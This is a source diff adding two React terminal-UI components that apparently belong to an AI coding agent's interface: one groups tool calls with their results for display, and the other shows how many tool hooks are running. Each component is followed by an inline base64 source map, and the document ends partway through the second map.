+import type { GroupedToolUseMessage } from '../../types/message.js';
+import type { buildMessageLookups } from '../../utils/messages.js';
+type Props = {
+  message: GroupedToolUseMessage;
+  tools: Tools;
+  lookups: ReturnType<typeof buildMessageLookups>;
+  inProgressToolUseIDs: Set<string>;
+  shouldAnimate: boolean;
+};
+export function GroupedToolUseContent({
+  message,
+  tools,
+  lookups,
+  inProgressToolUseIDs,
+  shouldAnimate
+}: Props): React.ReactNode {
+  const tool = findToolByName(tools, message.toolName);
+  if (!tool?.renderGroupedToolUse) {
+    return null;
+  }
+
+  // Build a map from tool_use_id to result data
+  const resultsByToolUseId = new Map<string, {
+    param: ToolResultBlockParam;
+    output: unknown;
+  }>();
+  for (const resultMsg of message.results) {
+    for (const content of resultMsg.message.content) {
+      if (content.type === 'tool_result') {
+        resultsByToolUseId.set(content.tool_use_id, {
+          param: content,
+          output: resultMsg.toolUseResult
+        });
+      }
+    }
+  }
+  const toolUsesData = message.messages.map(msg => {
+    const content = msg.message.content[0];
+    const result = resultsByToolUseId.get(content.id);
+    return {
+      param: content as ToolUseBlockParam,
+      isResolved: lookups.resolvedToolUseIDs.has(content.id),
+      isError: lookups.erroredToolUseIDs.has(content.id),
+      isInProgress: inProgressToolUseIDs.has(content.id),
+      progressMessages: filterToolProgressMessages(lookups.progressMessagesByToolUseID.get(content.id) ?? []),
+      result
+    };
+  });
+  const anyInProgress = toolUsesData.some(d => d.isInProgress);
+  return tool.renderGroupedToolUse(toolUsesData, {
+    shouldAnimate: shouldAnimate && anyInProgress,
+    tools
+  });
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJUb29sUmVzdWx0QmxvY2tQYXJhbSIsIlRvb2xVc2VCbG9ja1BhcmFtIiwiUmVhY3QiLCJmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyIsImZpbmRUb29sQnlOYW1lIiwiVG9vbHMiLCJHcm91cGVkVG9vbFVzZU1lc3NhZ2UiLCJidWlsZE1lc3NhZ2VMb29rdXBzIiwiUHJvcHMiLCJtZXNzYWdlIiwidG9vbHMiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsImluUHJvZ3Jlc3NUb29sVXNlSURzIiwiU2V0Iiwic2hvdWxkQW5pbWF0ZSIsIkdyb3VwZWRUb29sVXNlQ29udGVudCIsIlJlYWN0Tm9kZSIsInRvb2wiLCJ0b29sTmFtZSIsInJlbmRlckdyb3VwZWRUb29sVXNlIiwicmVzdWx0c0J5VG9vbFVzZUlkIiwiTWFwIiwicGFyYW0iLCJvdXRwdXQiLCJyZXN1bHRNc2ciLCJyZXN1bHRzIiwiY29udGVudCIsInR5cGUiLCJzZXQiLCJ0b29sX3VzZV9pZCIsInRvb2xVc2VSZXN1bHQiLCJ0b29sVXNlc0RhdGEiLCJtZXNzYWdlcyIsIm1hcCIsIm1zZyIsInJlc3VsdCIsImdldCIsImlkIiwiaXNSZXNvbHZlZCIsInJlc29sdmVkVG9vbFVzZUlEcyIsImhhcyIsImlzRXJyb3IiLCJlcnJvcmVkVG9vbFVzZUlEcyIsImlzSW5Qcm9ncmVzcyIsInByb2dyZXNzTWVzc2FnZXMiLCJwcm9ncmVzc01lc3NhZ2VzQnlUb29sVXNlSUQiLCJhbnlJblByb2dyZXNzIiwic29tZSIsImQiXSwic291cmNlcyI6WyJHcm91cGVkVG9vbFVzZUNvbnRlbnQudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB0eXBlIHtcbiAgVG9vbFJlc3VsdEJsb2NrUGFyYW0sXG4gIFRvb2xVc2VCbG9ja1BhcmFtLFxufSBmcm9tICdAYW50aHJvcGljLWFpL3Nkay9yZXNvdXJjZXMvbWVzc2FnZXMvbWVzc2FnZXMubWpzJ1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQge1xuICBmaWx0ZXJUb29sUHJvZ3Jlc3NNZXNzYWdlcyxcbiAgZmluZFRvb2xCeU5hbWUsXG4gIHR5cGUgVG9vbHMsXG59IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IEdyb3VwZWRUb29sVXNlTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICcuLi8uLi91dGlscy9tZXNzYWdlcy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgbWVzc2FnZTogR3JvdXBlZFRvb2xVc2VNZXNzYWdlXG4gIHRvb2xzOiBUb29sc1xuICBsb29rdXBzOiBSZXR1cm5UeXBlPHR5cGVvZiBidWlsZE1lc3NhZ2VMb29rdXBzPlxuICBpblByb2dyZXNzVG9vbFVzZUlEczogU2V0PHN0cmluZz5cbiAgc2hvdWxkQW5pbWF0ZTogYm9vbGVhblxufVxuXG5leHBvcnQgZnVuY3Rpb24gR3JvdXBlZFRvb2xVc2VDb250ZW50KHtcbiAgbWVzc2FnZSxcbiAgdG9vbHMsXG4gIGxvb2t1cHMsXG4gIGluUHJvZ3Jlc3NUb29sVXNlSURzLFxuICBzaG91bGRBbmltYXRlLFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB0b29sID0gZmluZFRvb2xCeU5hbWUodG9vbHMsIG1lc3NhZ2UudG9vbE5hbWUpXG4gIGlmICghdG9vbD8ucmVuZGVyR3JvdXBlZFRvb2xVc2UpIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgLy8gQnVpbGQgYSBtYXAgZnJvbSB0b29sX3VzZV9pZCB0byByZXN1bHQgZGF0YVxuICBjb25zdCByZXN1bHRzQnlUb29sVXNlSWQgPSBuZXcgTWFwPFxuICAgIHN0cmluZyxcbiAgICB7IHBhcmFtOiBUb29sUmVzdWx0QmxvY2tQYXJhbTsgb3V0cHV0OiB1bmtub3duIH1cbiAgPigpXG4gIGZvciAoY29uc3QgcmVzdWx0TXNnIG9mIG1lc3NhZ2UucmVzdWx0cykge1xuICAgIGZvciAoY29uc3QgY29udGVudCBvZiByZXN1bHRNc2cubWVzc2FnZS5jb250ZW50KSB7XG4gICAgICBpZiAoY29udGVudC50eXBlID09PSAndG9vbF9yZXN1bHQnKSB7XG4gICAgICAgIHJlc3VsdHNCeVRvb2xVc2VJZC5zZXQoY29udGVudC50b29sX3VzZV9pZCwge1xuICAgICAgICAgIHBhcmFtOiBjb250ZW50LFxuICAgICAgICAgIG91dHB1dDogcmVzdWx0TXNnLnRvb2xVc2VSZXN1bHQsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgY29uc3QgdG9vbFVzZXNEYXRhID0gbWVzc2FnZS5tZXNzYWdlcy5tYXAobXNnID0+IHtcbiAgICBjb25zdCBjb250ZW50ID0gbXNnLm1lc3NhZ2UuY29udGVudFswXVxuICAgIGNvbnN0IHJlc3VsdCA9IHJlc3VsdHNCeVRvb2xVc2VJZC5nZXQoY29udGVudC5pZClcbiAgICByZXR1cm4ge1xuICAgICAgcGFyYW06IGNvbnRlbnQgYXMgVG9vbFVzZUJsb2NrUGFyYW0sXG4gICAgICBpc1Jlc29sdmVkOiBsb29rdXBzLnJlc29sdmVkVG9vbFVzZUlEcy5oYXMoY29udGVudC5pZCksXG4gICAgICBpc0Vycm9yOiBsb29rdXBzLmVycm9yZWRUb29sVXNlSURzLmhhcyhjb250ZW50LmlkKSxcbiAgICAgIGlzSW5Qcm9ncmVzczogaW5Qcm9ncmVzc1Rvb2xVc2VJRHMuaGFzKGNvbnRlbnQuaWQpLFxuICAgICAgcHJvZ3Jlc3NNZXNzYWdlczogZmlsdGVyVG9vbFByb2dyZXNzTWVzc2FnZXMoXG4gICAgICAgIGxvb2t1cHMucHJvZ3Jlc3NNZXNzYWdlc0J5VG9vbFVzZUlELmdldChjb250ZW50LmlkKSA/PyBbXSxcbiAgICAgICksXG4gICAgICByZXN1bHQsXG4gICAgfVxuICB9KVxuXG4gIGNvbnN0IGFueUluUHJvZ3Jlc3MgPSB0b29sVXNlc0RhdGEuc29tZShkID0+IGQuaXNJblByb2dyZXNzKVxuXG4gIHJldHVybiB0b29sLnJlbmRlckdyb3VwZWRUb29sVXNlKHRvb2xVc2VzRGF0YSwge1xuICAgIHNob3VsZEFuaW1hdGU6IHNob3VsZEFuaW1hdGUgJiYgYW55SW5Qcm9ncmVzcyxcbiAgICB0b29scyxcbiAgfSlcbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsY0FDRUEsb0JBQW9CLEVBQ3BCQyxpQkFBaUIsUUFDWixtREFBbUQ7QUFDMUQsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUNFQywwQkFBMEIsRUFDMUJDLGNBQWMsRUFDZCxLQUFLQyxLQUFLLFFBQ0wsZUFBZTtBQUN0QixjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFDbkUsY0FBY0MsbUJBQW1CLFFBQVEseUJBQXlCO0FBRWxFLEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVILHFCQUFxQjtFQUM5QkksS0FBSyxFQUFFTCxLQUFLO0VBQ1pNLE9BQU8sRUFBRUMsVUFBVSxDQUFDLE9BQU9MLG1CQUFtQixDQUFDO0VBQy9DTSxvQkFBb0IsRUFBRUMsR0FBRyxDQUFDLE1BQU0sQ0FBQztFQUNqQ0MsYUFBYSxFQUFFLE9BQU87QUFDeEIsQ0FBQztBQUVELE9BQU8sU0FBU0MscUJBQXFCQSxDQUFDO0VBQ3BDUCxPQUFPO0VBQ1BDLEtBQUs7RUFDTEMsT0FBTztFQUNQRSxvQkFBb0I7RUFDcEJFO0FBQ0ssQ0FBTixFQUFFUCxLQUFLLENBQUMsRUFBRU4sS0FBSyxDQUFDZSxTQUFTLENBQUM7RUFDekIsTUFBTUMsSUFBSSxHQUFHZCxjQUFjLENBQUNNLEtBQUssRUFBRUQsT0FBTyxDQUFDVSxRQUFRLENBQUM7RUFDcEQsSUFBSSxDQUFDRCxJQUFJLEVBQUVFLG9CQUFvQixFQUFFO0lBQy9CLE9BQU8sSUFBSTtFQUNiOztFQUVBO0VBQ0EsTUFBTUMsa0JBQWtCLEdBQUcsSUFBSUMsR0FBRyxDQUNoQyxNQUFNLEVBQ047SUFBRUMsS0FBSyxFQUFFdkIsb0JBQW9CO0lBQUV3QixNQUFNLEVBQUUsT0FBTztFQUFDLENBQUMsQ0FDakQsQ0FBQyxDQUFDO0VBQ0gsS0FBSyxNQUFNQyxTQUFTLElBQUloQixPQUFPLENBQUNpQixPQUFPLEVBQUU7SUFDdkMsS0FBSyxNQUFNQyxPQUFPLElBQUlGLFNBQVMsQ0FBQ2hCLE9BQU8sQ0FBQ2tCLE9BQU8sRUFBRTtNQUMvQyxJQUFJQSxPQUFPLENBQUNDLElBQUksS0FBSyxhQUFhLEVBQUU7UUFDbENQLGtCQUFrQixDQUFDUSxHQUFHLENBQUNGLE9BQU8sQ0FBQ0csV0FBVyxFQUFFO1VBQzFDUCxLQUFLLEVBQUVJLE9BQU87VUFDZEgsTUFBTSxFQUFFQyxTQUFTLENBQUNNO1FBQ3BCLENBQUMsQ0FBQztNQUNKO0lBQ0Y7RUFDRjtFQUVBLE1BQU1DLFlBQVksR0FBR3ZCLE9BQU8sQ0FBQ3dCLFFBQVEsQ0FBQ0MsR0FBRyxDQUFDQyxHQUFHLElBQUk7SUFDL0MsTUFBTVIsT0FBTyxHQUFHUSxHQUFHLENBQUMxQixPQUFPLENBQUNrQixPQUFPLENBQUMsQ0FBQyxDQUFDO0lBQ3RDLE1BQU1TLE1BQU0sR0FBR2Ysa0JBQWtCLENBQUNnQixHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDO0lBQ2pELE9BQU87TUFDTGYsS0FBSyxFQUFFSSxPQUFPLElBQUkxQixpQkFBaUI7TUFDbkNzQyxVQUFVLEVBQUU1QixPQUFPLENBQUM2QixrQkFBa0IsQ0FBQ0MsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUN0REksT0FBTyxFQUFFL0IsT0FBTyxDQUFDZ0MsaUJBQWlCLENBQUNGLEdBQUcsQ0FBQ2QsT0FBTyxDQUFDVyxFQUFFLENBQUM7TUFDbERNLFlBQVksRUFBRS9CLG9CQUFvQixDQUFDNEIsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUNsRE8sZ0JBQWdCLEVBQUUxQywwQkFBMEIsQ0FDMUNRLE9BQU8sQ0FBQ21DLDJCQUEyQixDQUFDVCxHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDLElBQUksRUFDekQsQ0FBQztNQUNERjtJQUNGLENBQUM7RUFDSCxDQUFDLENBQUM7RUFFRixNQUFNVyxhQUFhLEdBQUdmLFlBQVksQ0FBQ2dCLElBQUksQ0FBQ0MsQ0FBQyxJQUFJQSxDQUFDLENBQUNMLFlBQVksQ0FBQztFQUU1RCxPQUFPMUIsSUFBSSxDQUFDRSxvQkFBb0IsQ0FBQ1ksWUFBWSxFQUFFO0lBQzdDakIsYUFBYSxFQUFFQSxhQUFhLElBQUlnQyxhQUFhO0lBQzdDckM7RUFDRixDQUFDLENBQUM7QUFDSiIsImlnbm9yZUxpc3QiOltdfQ==

src/components/messages/HookProgressMessage.tsx

@@ -0,0 +1,116 @@
+import { c as _c } from "react/compiler-runtime";
+import * as React from 'react';
+import type { HookEvent } from 'src/entrypoints/agentSdkTypes.js';
+import type { buildMessageLookups } from 'src/utils/messages.js';
+import { Box, Text } from '../../ink.js';
+import { MessageResponse } from '../MessageResponse.js';
+type Props = {
+  hookEvent: HookEvent;
+  lookups: ReturnType<typeof buildMessageLookups>;
+  toolUseID: string;
+  verbose: boolean;
+  isTranscriptMode?: boolean;
+};
+export function HookProgressMessage(t0) {
+  const $ = _c(22);
+  const {
+    hookEvent,
+    lookups,
+    toolUseID,
+    isTranscriptMode
+  } = t0;
+  let t1;
+  if ($[0] !== hookEvent || $[1] !== lookups.inProgressHookCounts || $[2] !== toolUseID) {
+    t1 = lookups.inProgressHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
+    $[0] = hookEvent;
+    $[1] = lookups.inProgressHookCounts;
+    $[2] = toolUseID;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const inProgressHookCount = t1;
+  const resolvedHookCount = lookups.resolvedHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
+  if (inProgressHookCount === 0) {
+    return null;
+  }
+  if (hookEvent === "PreToolUse" || hookEvent === "PostToolUse") {
+    if (isTranscriptMode) {
+      let t2;
+      if ($[4] !== inProgressHookCount) {
+        t2 = <Text dimColor={true}>{inProgressHookCount} </Text>;
+        $[4] = inProgressHookCount;
+        $[5] = t2;
+      } else {
+        t2 = $[5];
+      }
+      let t3;
+      if ($[6] !== hookEvent) {
+        t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
+        $[6] = hookEvent;
+        $[7] = t3;
+      } else {
+        t3 = $[7];
+      }
+      const t4 = inProgressHookCount === 1 ? " hook" : " hooks";
+      let t5;
+      if ($[8] !== t4) {
+        t5 = <Text dimColor={true}>{t4} ran</Text>;
+        $[8] = t4;
+        $[9] = t5;
+      } else {
+        t5 = $[9];
+      }
+      let t6;
+      if ($[10] !== t2 || $[11] !== t3 || $[12] !== t5) {
+        t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
+        $[10] = t2;
+        $[11] = t3;
+        $[12] = t5;
+        $[13] = t6;
+      } else {
+        t6 = $[13];
+      }
+      return t6;
+    }
+    return null;
+  }
+  if (resolvedHookCount === inProgressHookCount) {
+    return null;
+  }
+  let t2;
+  if ($[14] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Text dimColor={true}>Running </Text>;
+    $[14] = t2;
+  } else {
+    t2 = $[14];
+  }
+  let t3;
+  if ($[15] !== hookEvent) {
+    t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
+    $[15] = hookEvent;
+    $[16] = t3;
+  } else {
+    t3 = $[16];
+  }
+  const t4 = inProgressHookCount === 1 ? " hook\u2026" : " hooks\u2026";
+  let t5;
+  if ($[17] !== t4) {
+    t5 = <Text dimColor={true}>{t4}</Text>;
+    $[17] = t4;
+    $[18] = t5;
+  } else {
+    t5 = $[18];
+  }
+  let t6;
+  if ($[19] !== t3 || $[20] !== t5) {
+    t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
+    $[19] = t3;
+    $[20] = t5;
+    $[21] = t6;
+  } else {
+    t6 = $[21];
+  }
+  return t6;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkhvb2tFdmVudCIsImJ1aWxkTWVzc2FnZUxvb2t1cHMiLCJCb3giLCJUZXh0IiwiTWVzc2FnZVJlc3BvbnNlIiwiUHJvcHMiLCJob29rRXZlbnQiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsInRvb2xVc2VJRCIsInZlcmJvc2UiLCJpc1RyYW5zY3JpcHRNb2RlIiwiSG9va1Byb2dyZXNzTWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJpblByb2dyZXNzSG9va0NvdW50cyIsImdldCIsImluUHJvZ3Jlc3NIb29rQ291bnQiLCJyZXNvbHZlZEhvb2tDb3VudCIsInJlc29sdmVkSG9va0NvdW50cyIsInQyIiwidDMiLCJ0NCIsInQ1IiwidDYiLCJTeW1ib2wiLCJmb3IiXSwic291cmNlcyI6WyJIb29rUHJvZ3Jlc3NNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB0eXBlIHsgSG9va0V2ZW50IH0gZnJvbSAnc3JjL2VudHJ5cG9pbnRzL2FnZW50U2RrVHlwZXMuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICdzcmMvdXRpbHMvbWVzc2FnZXMuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi9NZXNzYWdlUmVzcG9uc2UuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGhvb2tFdmVudDogSG9va0V2ZW50XG4gIGxvb2t1cHM6IFJldHVyblR5cGU8dHlwZW9mIGJ1aWxkTWVzc2FnZUxvb2t1cHM+XG4gIHRvb2xVc2VJRDogc3RyaW5nXG4gIHZlcmJvc2U6IGJvb2xlYW5cbiAgaXNUcmFuc2NyaXB0TW9kZT86IGJvb2xlYW5cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEhvb2tQcm9ncmVzc01lc3NhZ2Uoe1xuICBob29rRXZlbnQsXG4gIGxvb2t1cHMsXG4gIHRvb2xVc2VJRCxcbiAgaXNUcmFuc2NyaXB0TW9kZSxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgaW5Qcm9ncmVzc0hvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5pblByb2dyZXNzSG9va0NvdW50cy5nZXQodG9vbFVzZUlEKT8uZ2V0KGhvb2tFdmVudCkgPz8gMFxuICBjb25zdCByZXNvbHZlZEhvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5yZXNvbHZlZEhvb2tDb3VudHMuZ2V0KHRvb2xVc2VJRCk/LmdldChob29rRXZlbnQpID8/IDBcbiAgaWYgKGluUHJvZ3Jlc3NIb29rQ291bnQgPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgaWYgKGhvb2tFdmVudCA9PT0gJ1ByZVRvb2xVc2UnIHx8IGhvb2tFdmVudCA9PT0gJ1Bvc3RUb29sVXNlJykge1xuICAgIC8vIEluIHRyYW5zY3JpcHQgbW9kZSwgc2hvdyBhIHN0YXRpYyBzdW1tYXJ5IHNpbmNlIG1lc3NhZ2VzIG5ldmVyIHJlLXJlbmRlclxuICAgIC8vIChzbyBhIHRyYW5zaWVudCBcIlJ1bm5pbmcuLi5cIiB3b3VsZCBnZXQgc3R1Y2spLlxuICAgIGlmIChpc1RyYW5zY3JpcHRNb2RlKSB7XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e2luUHJvZ3Jlc3NIb29rQ291bnR9IDwvVGV4dD5cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAgICAgIHtob29rRXZlbnR9XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAge2luUHJvZ3Jlc3NIb29rQ291bnQgPT09IDEgPyAnIGhvb2snIDogJyBob29rcyd9IHJhblxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgIClcbiAgICB9XG4gICAgLy8gT3V0c2lkZSB0cmFuc2NyaXB0IG1vZGUsIGhpZGUg4oCUIGNvbXBsZXRpb24gaW5mbyBpcyBzaG93biB2aWFcbiAgICAvLyBhc3luY19ob29rX3Jlc3BvbnNlIGF0dGFjaG1lbnRzIGluc3RlYWQuXG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGlmIChyZXNvbHZlZEhvb2tDb3VudCA9PT0gaW5Qcm9ncmVzc0hvb2tDb3VudCkge1xuICAgIHJldHVybiBudWxsXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+UnVubmluZyA8L1RleHQ+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAge2hvb2tFdmVudH1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57aW5Qcm9ncmVzc0hvb2tDb3VudCA9PT0gMSA/ICcgaG9va+KApicgOiAnIGhvb2tz4oCmJ308L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixjQUFjQyxTQUFTLFFBQVEsa0NBQWtDO0FBQ2pFLGNBQWNDLG1CQUFtQixRQUFRLHVCQUF1QjtBQUNoRSxTQUFTQyxHQUFHLEVBQUVDLElBQUksUUFBUSxjQUFjO0FBQ3hDLFNBQVNDLGVBQWUsUUFBUSx1QkFBdUI7QUFFdkQsS0FBS0MsS0FBSyxHQUFHO0VBQ1hDLFNBQVMsRUFBRU4sU0FBUztFQUNwQk8sT0FBTyxFQUFFQyxVQUFVLENBQUMsT0FBT1AsbUJBQW1CLENBQUM7RUFDL0NRLFNBQVMsRUFBRSxNQUFNO0VBQ2pCQyxPQUFPLEVB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